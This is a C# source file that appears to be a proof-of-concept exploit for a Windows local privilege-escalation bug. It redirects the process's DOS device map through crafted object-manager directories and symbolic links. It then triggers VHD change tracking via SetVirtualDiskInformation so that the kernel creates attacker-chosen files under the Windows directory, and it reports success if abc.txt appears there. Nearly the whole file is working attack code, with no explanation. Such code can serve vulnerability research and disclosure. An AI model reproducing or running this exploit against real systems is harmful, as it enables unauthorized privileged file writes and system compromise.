using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Linq;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0020,
            MaximumAllowed = GenericAccessRights.MaximumAllowed
        };

        [Flags]
        public enum FileAccessRights : uint
        {
            None = 0,
            ReadData = 0x0001,
            WriteData = 0x0002,
            AppendData = 0x0004,
            ReadEa = 0x0008,
            WriteEa = 0x0010,
            Execute = 0x0020,
            DeleteChild = 0x0040,
            ReadAttributes = 0x0080,
            WriteAttributes = 0x0100,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtOpenFile(
            out IntPtr FileHandle,
            FileAccessRights DesiredAccess,
            ObjectAttributes ObjAttr,
            [In] [Out] IoStatus IoStatusBlock,
            ShareMode ShareAccess,
            FileOpenOptions OpenOptions);

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeHGlobalBuffer(int length)
              : this(Marshal.AllocHGlobal(length), length, true)
            {
            }

            public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
              : base(owns_handle)
            {
                Length = length;
                SetHandle(buffer);
            }

            public int Length
            {
                get; private set;
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.FreeHGlobal(handle);
                    handle = IntPtr.Zero;
                }
                return true;
            }
        }

        public class SafeStructureBuffer : SafeHGlobalBuffer
        {
            Type _type;

            public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
            {
                _type = value.GetType();
                Marshal.StructureToPtr(value, handle, false);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.DestroyStructure(handle, _type);
                }
                return base.ReleaseHandle();
            }
        }

        public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
        {
            public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
            {
            }

            public T Result
            {
                get
                {
                    if (IsInvalid)
                        throw new ObjectDisposedException("handle");

                    return Marshal.PtrToStructure<T>(handle);
                }
            }
        }

        public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
        {
            AttributeFlags flags = AttributeFlags.CaseInsensitive;
            if (inherit)
                flags |= AttributeFlags.Inherit;
            using (ObjectAttributes obja = new ObjectAttributes(name, flags))
            {
                IntPtr handle;
                IoStatus iostatus = new IoStatus();
                int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
                StatusToNtException(status);
                return new SafeFileHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtDeviceIoControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint IoControlCode,
          byte[] InputBuffer,
          int InputBufferLength,
          byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        public static extern int NtFsControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint FSControlCode,
          [In] byte[] InputBuffer,
          int InputBufferLength,
          [Out] byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        const int ProcessDeviceMap = 23;

        [DllImport("ntdll.dll")]
        static extern int NtSetInformationProcess(
            IntPtr ProcessHandle,
            int ProcessInformationClass,
            byte[] ProcessInformation,
            int ProcessInformationLength);

        static byte[] StructToBytes(object o)
        {
            int size = Marshal.SizeOf(o);
            IntPtr p = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.StructureToPtr(o, p, false);
                byte[] ret = new byte[size];
                Marshal.Copy(p, ret, 0, size);
                return ret;
            }
            finally
            {
                if (p != IntPtr.Zero)
                    Marshal.FreeHGlobal(p);
            }
        }

        static byte[] GetBytes(string s)
        {
            return Encoding.Unicode.GetBytes(s + "\0");
        }

        static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static SafeKernelObjectHandle OpenDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtCreateSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes,
            UnicodeString DestinationName
        );

        static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static void SetDosDirectory(SafeKernelObjectHandle directory)
        {
            IntPtr p = directory.DangerousGetHandle();
            byte[] data = null;
            if (IntPtr.Size == 4)
            {
                data = BitConverter.GetBytes(p.ToInt32());
            }
            else
            {
                data = BitConverter.GetBytes(p.ToInt64());
            }

            StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
        }

        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;
            public uint PhysicalSectorSizeInBytes;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;
            // Version 2 on
            public OpenVirtualDiskFlag OpenFlags;
            public VirtualStorageType ParentVirtualStorageType;
            public VirtualStorageType SourceVirtualStorageType;
            public Guid ResiliencyGuid;
            // Version 3 on
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourceLimitPath;
            public VirtualStorageType BackingStorageType;
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        static SafeFileHandle CreateVHD(string path)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhd;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = 512;
            ps.MaximumSize = 100 * 1024 * 1024;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }

        enum SetVirtualDiskInfoVersion
        {
            Unspecified = 0,
            ParentPath = 1,
            Identified = 2,
            ParentPathWithDepth = 3,
            PhysicalSectionSize = 4,
            VirtualDiskId = 5,
            ChangeTrackingState = 6,
            ParentLocator = 7,
        }        

        [StructLayout(LayoutKind.Sequential)]
        struct SetVirtualDiskInfo
        {
            public SetVirtualDiskInfoVersion Version;
            [MarshalAs(UnmanagedType.Bool)]
            public bool ChangeTrackingEnabled;
        }

        [DllImport("virtdisk.dll", CharSet = CharSet.Unicode)]
        static extern int SetVirtualDiskInformation(
            SafeFileHandle VirtualDiskHandle,
            ref SetVirtualDiskInfo VirtualDiskInfo
        );

        static List<SafeKernelObjectHandle> CreateChainForPath(string path)
        {
            string[] parts = path.Split('\\');
            List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();
            SafeKernelObjectHandle curr = CreateDirectory(null, null);
            ret.Add(curr);
            foreach (string part in parts)
            {
                curr = CreateDirectory(curr, part);
                ret.Add(curr);
            }

            return ret;
        }
        

        static void Main(string[] args)
        {
            try
            {
                string vhd_path = Path.GetFullPath("test.vhd");
                File.Delete(vhd_path);
                File.Delete(vhd_path + ".rct");
                File.Delete(vhd_path + ".mrt");

                Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
                
                List<SafeKernelObjectHandle> chain = CreateChainForPath(Path.GetDirectoryName(vhd_path));
                SafeKernelObjectHandle rct_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".rct", @"\SystemRoot\abc.txt");
                SafeKernelObjectHandle mrt_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".mrt", @"\SystemRoot\xyz.txt");

                using (SafeFileHandle handle = CreateVHD(vhd_path))
                {
                    // Write dummy files for when the kernel impersonates us (and kills the per-process device map)
                    File.WriteAllBytes(vhd_path + ".rct", new byte[0]);
                    File.WriteAllBytes(vhd_path + ".mrt", new byte[0]);
                    SetVirtualDiskInfo disk_info = new SetVirtualDiskInfo();
                    disk_info.Version = SetVirtualDiskInfoVersion.ChangeTrackingState;
                    disk_info.ChangeTrackingEnabled = true;
                    SetDosDirectory(chain.First());
                    int error = SetVirtualDiskInformation(handle, ref disk_info);
                    chain[1].Close();
                    if (error != 0)
                    {
                        throw new Win32Exception(error);
                    }
                }

                if (!File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "abc.txt")))
                {
                    Console.WriteLine("[ERROR]: Didn't create arbitrary file");
                }
                else
                {
                    Console.WriteLine("[SUCCESS]: Created arbitary file");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}